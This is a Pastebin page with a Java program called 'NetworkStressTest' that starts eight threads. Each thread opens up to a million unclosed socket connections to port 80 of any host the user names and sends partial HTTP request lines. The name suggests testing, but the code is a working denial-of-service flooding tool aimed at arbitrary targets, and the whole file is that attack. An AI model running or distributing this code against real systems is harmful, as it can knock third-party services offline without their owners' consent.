Advertisement
evgeniyosipov

NetworkStressTest.java

Jul 24th, 2015
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.64 KB | None | 0 0
  1. import java.io.BufferedWriter;
  2. import java.io.IOException;
  3. import java.io.OutputStreamWriter;
  4. import java.net.Socket;
  5. import java.net.UnknownHostException;
  6.  
  7. public class NetworkStressTest extends Socket implements Runnable {
  8.     static NetworkStressTest instance = new NetworkStressTest();
  9.     static String TARGET;
  10.  
  11.     public static void main(String[] args) {
  12.         if (args.length < 1)
  13.         {
  14.             TARGET="ANY_ADDRESS_WHICH_YOU_WISH"; // Such as domain.com or 10.10.0.1
  15.         }
  16.         else
  17.         {
  18.             TARGET = args[0];
  19.         }
  20.        
  21.         for (int i = 0; i < 8; i++)
  22.         {
  23.             new Thread(instance).start();
  24.         }
  25.      }
  26.  
  27.     public void run() {
  28.         for (int i = 1; i <= 1000000; i++)
  29.         {
  30.             try
  31.             {
  32.                 Socket net = new Socket(TARGET, 80); // Connects the Socket to the TARGET port 80.
  33.                 sendRawLine("GET / HTTP/1.1", net); // Sends the GET / OutputStream
  34.                 sendRawLine("Host: " + TARGET, net); // Sends Host: to the OutputStream
  35.                 System.out.println("Current Connection: " + i);
  36.             }
  37.             catch (UnknownHostException e)
  38.             {
  39.                 System.out.println("NetworkStressTest.run: " + e);
  40.             }
  41.             catch (IOException e)
  42.             {
  43.                 System.out.println("NetworkStressTest.run: " + e);
  44.             }
  45.         }
  46.      }
  47.  
  48.     public static void sendRawLine(String text, Socket sock) {
  49.         try
  50.         {
  51.             BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
  52.             out.write(text + " ");
  53.             out.flush();
  54.         }
  55.          catch (IOException ex)
  56.         {
  57.             ex.printStackTrace();
  58.         }
  59.     }
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement